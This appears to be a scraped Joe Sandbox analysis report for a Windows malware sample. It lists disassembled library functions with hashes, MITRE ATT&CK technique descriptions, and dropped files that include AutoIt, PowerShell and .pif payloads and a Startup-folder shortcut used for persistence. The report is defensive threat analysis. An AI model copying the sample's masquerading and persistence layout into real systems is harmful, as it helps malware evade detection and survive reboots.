API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: 50b711e40c8af22ccd9f71b365588a723e820d91764ad24d990ae1a8650b77b5
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: 5301B572E28B8981D614CF26940033AA252BF9F7D8F105335EA5A0AB98EF7DD0508B00

Function 00007FF6BB1614FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB16158E

Part of subcall function 00007FF6BB15FA90: _ctrlfp.LIBCMT ref: 00007FF6BB15FACB
Part of subcall function 00007FF6BB15FA90: _raise_exc.LIBCMT ref: 00007FF6BB15FB37

Strings

sin, xrefs: 00007FF6BB161502
!, xrefs: 00007FF6BB161576

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: 9115368516e5bd2778df1c5dd9de6aefb9cd21a73dc5a3823414b597af243b28
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: 1801B172E28B8546DA14CF26940033AA262BF9F7D8F105335EA5A0AB98EF6DD0508B00

Function 00007FF6BB161370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB1613F6

Strings

", xrefs: 00007FF6BB1613CF
exp, xrefs: 00007FF6BB1613E5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: 1873d1ee80ad6d3970abc3c7514de5abcfc3202ff71c3e998a55e020b1483b10
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 9D01A536928A8886E220CF28D0492AA77B0FFEA358F205315E7451AA70CB7DD5819B00

Function 00007FF6BB1475C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6BB1475E9
TlsSetValue.KERNEL32(?,?,?,00007FF6BB147241,?,?,?,?,00007FF6BB14660C,?,?,?,?,00007FF6BB144CD3), ref: 00007FF6BB147600

Strings

FlsSetValue, xrefs: 00007FF6BB1475CD, 00007FF6BB1475D6

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: e7519f92b70acafa326294c189644a249d39ff6b4c24cfe4200a88e4b716d1af
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: 94E06561A0854281FA454F5DF4004F42372BF4CB9DF984035DB0D86275DE3CE544C610

Function 00007FF6BB145620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BB145629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BB14563A

Part of subcall function 00007FF6BB147018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB14563F), ref: 00007FF6BB14708D
Part of subcall function 00007FF6BB147018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB14563F), ref: 00007FF6BB1470BF

Strings

Unknown exception, xrefs: 00007FF6BB145645

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: e8dbd819498cad915ed8b39fcbe7f41113dfde799d4ca221a1dc40ce3ff84230
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: C9D05E22A1898691DE20EF08E8903A8A330FB9830CFD04431E34CC25B9EF3CD64ADB00

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T6l6gPxwQU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Details.au3

C:\Users\Public\InformationCheck.exe

C:\Users\Public\ProfileDetails.ps1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mibvk1qm.s2r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1b04zgn.l2d.psm1

C:\Users\user\AppData\Local\WordGenius Technologies\G

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
T6l6gPxwQU.exe

Function 00007FF6BB1237B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Function 00007FF6BB126580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Function 00007FF6BB141D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Function 00007FF6BB1BF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Function 00007FF6BB127920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Function 00007FF6BB125DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Function 00007FF6BB123D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Function 00007FF6BB13E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Function 00007FF6BB123B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Function 00007FF6BB167348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre